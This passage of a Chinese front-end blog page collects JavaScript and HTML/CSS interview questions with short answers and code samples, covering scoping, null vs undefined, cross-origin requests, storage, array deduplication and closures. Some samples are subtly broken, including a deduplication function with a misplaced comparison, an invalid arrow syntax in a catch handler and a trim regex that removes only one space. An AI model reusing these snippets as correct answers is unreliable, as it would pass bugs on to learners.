<span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">        axios.<span class="title function_">post</span>(url, data).<span class="title function_">then</span>(<span class="function"><span class="params">res</span> =&gt;</span> &#123;</span><br><span class="line">          <span class="keyword">if</span> (res.<span class="property">status</span> === <span class="number">200</span>) &#123;</span><br><span class="line">            <span class="title function_">resolve</span>(res.<span class="property">data</span>.<span class="property">msg</span>)</span><br><span class="line">          &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="title class_">Toast</span>(res.<span class="property">data</span>)</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;).</span><br><span class="line">        <span class="keyword">catch</span>(err = &gt;&#123;</span><br><span class="line">          <span class="title function_">reject</span>(err) <span class="keyword">let</span> errMsg = <span class="string">&#x27;请求失败！请检查网络&#x27;</span>;</span><br><span class="line">          <span class="keyword">if</span> (err.<span class="property">response</span>) errMsg = err.<span class="property">response</span>.<span class="property">data</span>.<span class="property">msg</span> <span class="title class_">Toast</span>(errMsg)</span><br><span class="line">        &#125;)</span><br><span class="line">      &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><h1 id="面试题"><a href="#面试题" class="headerlink" title="面试题"></a>面试题</h1><h3 id="var-let-const的区别"><a href="#var-let-const的区别" class="headerlink" title="var, let, const的区别"></a>var, let, const的区别</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span></span><br><span class="line"><span class="keyword">var</span>声明变量存在变量提升，可重复声明</span><br><span class="line">全局变量如果页面不关闭，那么<span class="keyword">var</span>变量就不会释放，就会占空间，消耗内存</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span></span><br><span class="line">用来声明变量</span><br><span class="line">不可以重复声明</span><br><span class="line">不存在变量提升</span><br><span class="line">只在声明所在的块级作用域内有效</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span></span><br><span class="line">用来声明常量（不可改，只读）</span><br><span class="line">不可以重复声明</span><br><span class="line">不存在变量提升</span><br><span class="line">不可以重新赋值</span><br><span class="line">声明的时候必须初始化（赋值）</span><br><span class="line">只在声明的块级作用域内有效</span><br></pre></td></tr></table></figure><h3 id="null和undefined的区别"><a href="#null和undefined的区别" class="headerlink" title="null和undefined的区别"></a>null和undefined的区别</h3><p>在JavaScript中，<code>null</code> 和 <code>undefined</code> 几乎相等</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">typeof</span> <span class="literal">undefined</span>);    <span class="comment">// &quot;undefined&quot;</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">typeof</span> <span class="literal">null</span>);       <span class="comment">// &quot;object&quot;</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="literal">null</span> == <span class="literal">undefined</span>);    <span class="comment">// true  因为两者都默认转换成了false</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="literal">null</span> === <span class="literal">undefined</span>);    <span class="comment">// false   &quot;===&quot;表示绝对相等，null和undefined类型是不一样的，所出“false”</span></span><br></pre></td></tr></table></figure><p><strong>null是一个表示”无”的对象，转为数值时为0；undefined是一个表示”无”的原始值，转为数值时为NaN</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Number</span>(<span class="literal">null</span>); <span class="comment">// 0</span></span><br><span class="line"><span class="number">5</span> + <span class="literal">null</span>; <span class="comment">// 5</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Number</span>(<span class="literal">undefined</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="number">5</span> + <span class="literal">undefined</span>; <span class="comment">// NaN</span></span><br></pre></td></tr></table></figure><ul><li><p><strong><code>null</code>表示没有对象，即该处不应该有值</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">（<span class="number">1</span>） 作为函数的参数，表示该函数的参数不是对象</span><br><span class="line">（<span class="number">2</span>） 作为对象原型链的终点</span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">getPrototypeOf</span>(<span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>); <span class="comment">// null</span></span><br></pre></td></tr></table></figure></li></ul><ul><li><strong><code>undefined</code>表示缺少值，即此处应该有值，但没有定义</strong></li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">（1）变量被声明了，但没有赋值时，就等于undefined</span><br><span class="line">（2) 调用函数时，应该提供的参数没有提供，该参数等于undefined</span><br><span class="line">（3）对象没有赋值的属性，该属性的值为undefined</span><br><span class="line">（4）函数没有返回值时，默认返回undefined</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> i;</span><br><span class="line">i <span class="comment">// undefined</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">f</span>(<span class="params">x</span>)&#123;<span class="variable language_">console</span>.<span class="title function_">log</span>(x)&#125;</span><br><span class="line"><span class="title function_">f</span>() <span class="comment">// undefined</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span>  o = <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line">o.<span class="property">p</span> <span class="comment">// undefined</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> x = <span class="title function_">f</span>();</span><br><span class="line">x <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><h3 id="什么情况下是undefined"><a href="#什么情况下是undefined" class="headerlink" title="什么情况下是undefined"></a>什么情况下是undefined</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 变量声明了，没有赋值，结果是<span class="literal">undefined</span></span><br><span class="line"><span class="number">2.</span> 函数没有明确返回值，如果接收了，结果也是<span class="literal">undefined</span></span><br><span class="line"><span class="number">3.</span> 使用不存在的对象属性的返回值是<span class="literal">undefined</span></span><br><span class="line"><span class="number">4.</span> 通过不存在的数组索引访问数组元素结果是<span class="literal">undefined</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">a + b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> f = <span class="title function_">fn</span>(<span class="number">1</span>, <span class="number">2</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(f); <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line"><span class="attr">age</span>: <span class="number">18</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(obj.<span class="property">name</span>); <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">5</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="number">1</span>];</span><br><span class="line">arr[<span class="number">5</span>]; <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><h3 id="几种js跨域的解决方法"><a href="#几种js跨域的解决方法" class="headerlink" title="几种js跨域的解决方法"></a>几种js跨域的解决方法</h3><ul><li><code>jsonp</code>、 <code>iframe</code>、<code>window.name</code>、<code>window.postMessage</code>、服务器上设置代理页面</li></ul><h3 id="简述cookie，localStorage-和-sessionStorage"><a href="#简述cookie，localStorage-和-sessionStorage" class="headerlink" title="简述cookie，localStorage 和 sessionStorage"></a>简述cookie，localStorage 和 sessionStorage</h3><table><thead><tr><th>存储</th><th>描述</th></tr></thead><tbody><tr><td>cookie</td><td>空间小（小于4K），存储容量受限，主要作用是与服务器进行交互</td></tr><tr><td>sessionStorage</td><td>空间更大，接口丰富，独立空间，非持久化本地存储，仅仅回话级别存储，这些数据只有在同一个会话中的页面才能访问并且当会话结束后数据也随之销毁</td></tr><tr><td>localStorage</td><td>空间更大，接口丰富，独立空间，持久化本地存储，除非主动删除数据，否则数据永远不会过期</td></tr></tbody></table><h3 id="setTimeout和setInterval的区别"><a href="#setTimeout和setInterval的区别" class="headerlink" title="setTimeout和setInterval的区别"></a>setTimeout和setInterval的区别</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="built_in">setTimeout</span>(fn, delay); <span class="comment">// 用于延迟执行某一函数，只执行一次</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">setInterval</span>(fn, delay); <span class="comment">// 用于延迟执行某一函数，循环执行，直到取消</span></span><br></pre></td></tr></table></figure><h3 id="请用js编写一个数组去重函数"><a href="#请用js编写一个数组去重函数" class="headerlink" title="请用js编写一个数组去重函数"></a>请用js编写一个数组去重函数</h3><p><strong>最简单数组去重</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">uniqueArr</span>(<span class="params">arr</span>) &#123;</span><br><span class="line"><span class="keyword">let</span> a = [];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; arr.<span class="property">length</span>; i++) &#123;</span><br><span class="line"><span class="keyword">if</span>(a.<span class="title function_">indexOf</span>(arr[i] == -<span class="number">1</span>)) &#123;</span><br><span class="line">a.<span class="title function_">push</span>(arr[i]);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> a;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>利用ES6 Set去重（ES6中最常用）</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">unique</span>(<span class="params">arr</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="title class_">Array</span>.<span class="title function_">from</span>(<span class="keyword">new</span> <span class="title class_">Set</span>(arr));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">unique</span>(<span class="params">arr</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> [...<span class="keyword">new</span> <span class="title class_">Set</span>(arr)];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">2</span>];</span><br><span class="line"><span class="keyword">var</span> a = <span class="title function_">unique</span>(arr);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// [1, 2, 3]</span></span><br></pre></td></tr></table></figure><h3 id="如何通过JS判断一个数组"><a href="#如何通过JS判断一个数组" class="headerlink" title="如何通过JS判断一个数组"></a>如何通过JS判断一个数组</h3><p><strong>instanceof</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = []; </span><br><span class="line">arr <span class="keyword">instanceof</span> <span class="title class_">Array</span>; <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p><strong>constructor</strong></p><p><code>constructor</code>属性返回对创建此对象的数组函数的引用，就是返回对象相对应的构造函数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = []; </span><br><span class="line">arr.<span class="property">constructor</span> == <span class="title class_">Array</span>; <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p><strong>最简单的方法</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">isArray</span>(<span class="params">arr</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">toString</span>.<span class="title function_">call</span>(arr) === <span class="string">&#x27;[object Array]&#x27;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>ES6新增方法isArray()</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [];</span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">isArray</span>(arr); <span class="comment">// true</span></span><br></pre></td></tr></table></figure><h3 id="Javascript如何实现继承"><a href="#Javascript如何实现继承" class="headerlink" title="Javascript如何实现继承"></a>Javascript如何实现继承</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">原型继承、构造继承、实例继承、拷贝继承</span><br></pre></td></tr></table></figure><h3 id="前端性能优化"><a href="#前端性能优化" class="headerlink" title="前端性能优化"></a>前端性能优化</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">减少http请求</span><br><span class="line">添加本地缓存</span><br><span class="line">压缩<span class="variable constant_">CSS</span>、<span class="variable constant_">JS</span>资源文件</span><br><span class="line">图片懒加载</span><br><span class="line">图片服务器</span><br><span class="line">使用内容发布网络（<span class="variable constant_">CDN</span>托管）</span><br></pre></td></tr></table></figure><h3 id="为什么要用-Sass-Less"><a href="#为什么要用-Sass-Less" class="headerlink" title="为什么要用 Sass/Less"></a>为什么要用 Sass/Less</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">这些 <span class="variable constant_">CSS</span> 预处理语言可以让 <span class="variable constant_">CSS</span> 具有一定的编程风格，在我实际的开发体验中给我带来了许多便捷的地方，并且使用他们更有利于项目的后期维护</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span> 可以定义变量</span><br><span class="line"><span class="number">2.</span> 可以嵌套式的书写</span><br><span class="line"><span class="number">3.</span> 提高了样式的复用性</span><br><span class="line"><span class="number">4.</span> 可以定义一些函数</span><br></pre></td></tr></table></figure><h3 id="HTML5-CSS3-新特性"><a href="#HTML5-CSS3-新特性" class="headerlink" title="HTML5/CSS3 新特性"></a>HTML5/CSS3 新特性</h3><p><strong>HTML5</strong></p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">header</span>&gt;</span><span class="tag">&lt;/<span class="name">header</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">footer</span>&gt;</span><span class="tag">&lt;/<span class="name">footer</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">aside</span>&gt;</span><span class="tag">&lt;/<span class="name">aside</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">main</span>&gt;</span><span class="tag">&lt;/<span class="name">main</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">nav</span>&gt;</span><span class="tag">&lt;/<span class="name">nav</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">section</span>&gt;</span><span class="tag">&lt;/<span class="name">section</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">article</span>&gt;</span><span class="tag">&lt;/<span class="name">article</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">canvns</span>&gt;</span><span class="tag">&lt;/<span class="name">canvas</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">audio</span>&gt;</span><span class="tag">&lt;/<span class="name">audio</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">绘画 canvas</span><br><span class="line">用于媒介回放的 video 和 audio 元素</span><br><span class="line">本地离线存储 <span class="variable language_">localStorage</span> 长期存储数据，浏览器关闭后数据不丢失</span><br><span class="line"><span class="variable language_">sessionStorage</span> 的数据在浏览器关闭后自动删除</span><br><span class="line">语意化更好的内容元素，比如article、footer、header、nav、section</span><br><span class="line">表单控件，calendar、date、time、email、url、search</span><br><span class="line">新的技术webworker, websocket, <span class="title class_">Geolocation</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">更多的语义化标签（header/nav/footer/section...）</span><br><span class="line">音频、视频 <span class="variable constant_">API</span></span><br><span class="line"><span class="title class_">Canvas</span></span><br><span class="line">webSocket</span><br><span class="line"><span class="variable language_">localStorage</span>/<span class="variable language_">sessionStorage</span></span><br></pre></td></tr></table></figure><p><strong>CSS3</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">新的选择器（属性、伪类、伪元素）</span><br><span class="line">颜色新增 <span class="variable constant_">RGBA</span>/<span class="variable constant_">HSLA</span> 模式</span><br><span class="line">过渡效果：transition，可实现动画效果</span><br><span class="line">自定义动画</span><br><span class="line">媒体查询</span><br><span class="line">盒子模型</span><br></pre></td></tr></table></figure><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">新增各种css选择器</span><br><span class="line">圆角 <span class="attribute">border-radius</span></span><br><span class="line">多列布局</span><br><span class="line">阴影和反射</span><br><span class="line">文字特效<span class="attribute">text-shadow</span></span><br><span class="line">线性渐变</span><br><span class="line">旋转<span class="attribute">transform</span></span><br></pre></td></tr></table></figure><h3 id="为什么要有同源限制"><a href="#为什么要有同源限制" class="headerlink" title="为什么要有同源限制"></a>为什么要有同源限制</h3><p>同源策略指的是：协议，域名，端口相同，同源策略是一种安全协议</p><p>举例说明：比如一个黑客程序，他利用<code>Iframe</code>把真正的银行登录页面嵌到他的页面上，当你使用真实的用户名，密码登录时，他的页面就可以通过<code>Javascript</code>读取到你的表单中<code>input</code>中的内容，这样用户名，密码就轻松到手了</p><h3 id="谈谈你对ES6的理解"><a href="#谈谈你对ES6的理解" class="headerlink" title="谈谈你对ES6的理解"></a>谈谈你对ES6的理解</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">新增模板字符串（为<span class="title class_">JavaScript</span>提供了简单的字符串插值功能）</span><br><span class="line">箭头函数</span><br><span class="line"><span class="keyword">for</span>-<span class="keyword">of</span>（用来遍历数据—例如数组中的值。）</span><br><span class="line"><span class="variable language_">arguments</span> 对象可被不定参数和默认参数完美代替。</span><br><span class="line"><span class="title class_">ES6</span> 将 <span class="title class_">Promise</span> 对象纳入规范，提供了原生的 <span class="title class_">Promise</span> 对象。</span><br><span class="line">增加了 <span class="keyword">let</span> 和 <span class="keyword">const</span> 命令，用来声明变量。</span><br><span class="line">增加了块级作用域。</span><br><span class="line"><span class="keyword">let</span> 命令实际上就增加了块级作用域。</span><br><span class="line">还有就是引入 <span class="variable language_">module</span> 模块的概念</span><br></pre></td></tr></table></figure><h3 id="请用js去除字符串空格"><a href="#请用js去除字符串空格" class="headerlink" title="请用js去除字符串空格"></a>请用js去除字符串空格</h3><p><strong>方法一：使用replace正则匹配的方法</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 去除所有空格: </span></span><br><span class="line">str = str.<span class="title function_">replace</span>(<span class="regexp">/\s*/g</span>,<span class="string">&#x27;&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 去除两头空格: </span></span><br><span class="line">str = str.<span class="title function_">replace</span>(<span class="regexp">/^\s|\s$/g</span>,<span class="string">&#x27;&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 去除左空格：</span></span><br><span class="line">str = str.<span class="title function_">replace</span>( <span class="regexp">/^\s*/</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 去除右空格：</span></span><br><span class="line">str = str.<span class="title function_">replace</span>(<span class="regexp">/(\s*$)/g</span>, <span class="string">&#x27;&#x27;</span>);</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str1 = <span class="string">&#x27; a b c &#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> str2 = str1.<span class="title function_">replace</span>(<span class="regexp">/\s*/g</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(str2); <span class="comment">// abc</span></span><br></pre></td></tr></table></figure><p><strong>方法二：使用str.trim()方法</strong></p><p>trim()局限性，无法去除中间的空格</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str1 = <span class="string">&#x27; a b c &#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> str2 = str1.<span class="title function_">trim</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(str2); <span class="comment">// a b c</span></span><br></pre></td></tr></table></figure><h3 id="什么是跨域"><a href="#什么是跨域" class="headerlink" title="什么是跨域"></a>什么是跨域</h3><p>由于浏览器同源策略，凡是发送请求url的协议、域名、端口三者之间任意一与当前页面地址不同即为<strong>跨域</strong>。存在跨域的情况：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 网络协议不同，如http协议访问https协议</span><br><span class="line"><span class="number">2.</span> 端口不同，如<span class="number">80</span>端口访问<span class="number">8080</span>端口</span><br><span class="line"><span class="number">3.</span> 域名不同，如 qianduanblog.<span class="property">com</span> 访问 baidu.<span class="property">com</span></span><br><span class="line"><span class="number">4.</span> 子域名不同，如 abc.<span class="property">qianduanblog</span>.<span class="property">com</span> 访问 def.<span class="property">qianduanblog</span>.<span class="property">com</span></span><br><span class="line"><span class="number">5.</span> 域名和域名对应ip，如 www.<span class="property">a</span>.<span class="property">com</span> 访问 <span class="number">20.205</span><span class="number">.28</span><span class="number">.90</span></span><br></pre></td></tr></table></figure><h3 id="网页从输入网址到渲染完成经历了哪些过程"><a href="#网页从输入网址到渲染完成经历了哪些过程" class="headerlink" title="网页从输入网址到渲染完成经历了哪些过程"></a>网页从输入网址到渲染完成经历了哪些过程</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 域名解析</span><br><span class="line"><span class="number">2.</span> 发起<span class="variable constant_">TCP</span>的<span class="number">3</span>次握手</span><br><span class="line"><span class="number">3.</span> 建立<span class="variable constant_">TCP</span>连接后发起http请求</span><br><span class="line"><span class="number">4.</span> 服务器收到请求并响应<span class="variable constant_">HTTP</span>请求</span><br><span class="line"><span class="number">5.</span> 浏览器解析htm代码,并请求htm代码中的资源(如js、css图片等)</span><br><span class="line"><span class="number">6.</span> 断开<span class="variable constant_">TCP</span>连接（四次挥手）</span><br><span class="line"><span class="number">7.</span> 浏览器对页面进行渲染呈现给用户</span><br></pre></td></tr></table></figure><h3 id="堆和栈的区别"><a href="#堆和栈的区别" class="headerlink" title="堆和栈的区别"></a>堆和栈的区别</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 申请方式的不同，栈由系统自动分配，而堆是人为申请开辟</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 申请大小的不同，栈获得的空间较小，而堆获得的空间较大</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> 申请效率的不同，栈由系统自动分配，速度较快，而堆一般速度比较慢</span><br><span class="line"></span><br><span class="line"><span class="number">4.</span> 存储内容的不同，栈在函数调用时，函数调用语句的下一条可执行语句的地址第一个进栈，然后函数的各个参数进栈，其中静态变量是不入栈的，而堆一般是在头部用一个字节存放堆的大小，堆中的具体内容是人为安排;</span><br><span class="line"></span><br><span class="line"><span class="number">5.</span> 底层不同，栈是连续的空间，而堆是不连续的空间</span><br></pre></td></tr></table></figure><h1 id="面试题库1"><a href="#面试题库1" class="headerlink" title="面试题库1"></a>面试题库1</h1><p><strong>面试题1</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>; i&lt;<span class="number">3</span>; i++) &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(i);</span><br><span class="line">    &#125;, <span class="number">0</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 打印了3个： 3</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>; i&lt;<span class="number">3</span>; i++) &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(i);</span><br><span class="line">    &#125;, <span class="number">10</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 打印了3个： 3 这道题涉及了异步、作用域、闭包</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i=<span class="number">0</span>; i&lt;<span class="number">3</span>; i++) &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(i);</span><br><span class="line">    &#125;, <span class="number">10</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 0 1 2</span></span><br></pre></td></tr></table></figure><p><strong>面试题2</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = &#123;&#125;;</span><br><span class="line"><span class="keyword">var</span> b = a;</span><br><span class="line">b.<span class="property">name</span> = <span class="string">&quot;abc&quot;</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a.<span class="property">name</span>); <span class="comment">// abc</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = &#123;<span class="attr">n</span>: <span class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> b = a;  </span><br><span class="line">a.<span class="property">x</span> = a = &#123;<span class="attr">n</span>: <span class="number">2</span>&#125;;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// &#123;n: 2&#125;</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// &#123;n: 1, x: &#123;n: 2&#125;&#125;</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a.<span class="property">x</span>);  <span class="comment">// undefined</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b.<span class="property">x</span>);  <span class="comment">// &#123;n:2&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// b = a 是浅拷贝，所以在堆栈中引用的是一个对象地址</span></span><br><span class="line"><span class="comment">// a===&gt;堆栈中&#123;n:1&#125;</span></span><br><span class="line"><span class="comment">// b=a</span></span><br><span class="line"><span class="comment">// b===&gt;指向a中的&#123;n:1&#125;</span></span><br><span class="line"></span><br><span class="line">而我们这道题 a.<span class="property">x</span> = a = &#123;<span class="attr">n</span>: <span class="number">2</span>&#125;     . 的运算优先级大于赋值运算的优先级</span><br><span class="line">所以先计算     a.<span class="property">x</span>  =  a=&#123;<span class="attr">n</span>:<span class="number">2</span>&#125;</span><br><span class="line">a和b指向堆栈 &#123;<span class="attr">n</span>: <span class="number">1</span>, <span class="attr">x</span>: &#123;<span class="attr">n</span>: <span class="number">2</span>&#125;&#125;</span><br><span class="line">a的输出值：&#123; <span class="attr">n</span>:<span class="number">2</span> &#125;;</span><br><span class="line">b的输出值：&#123; <span class="attr">n</span>:<span class="number">1</span> , x=&#123;<span class="attr">n</span>:<span class="number">2</span>&#125; &#125;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>, b = <span class="number">2</span>, c = <span class="number">3</span>;</span><br><span class="line">a = b = c;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 3</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 3</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(c); <span class="comment">// 3</span></span><br></pre></td></tr></table></figure><p><strong>面试题3</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">...a</span>)&#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>) <span class="comment">// [1, 2, 3]</span></span><br></pre></td></tr></table></figure><p><strong>面试题4</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="literal">null</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">typeof</span> a);<span class="comment">// object</span></span><br></pre></td></tr></table></figure><p><strong>面试题5</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line">    <span class="keyword">var</span> a = <span class="number">20</span>;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 20</span></span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>();</span><br></pre></td></tr></table></figure><p><strong>面试题6</strong></p><p>var a=’object’; js原生实现对变量a进行克隆</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="string">&#x27;10086&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> b = a.<span class="title function_">concat</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 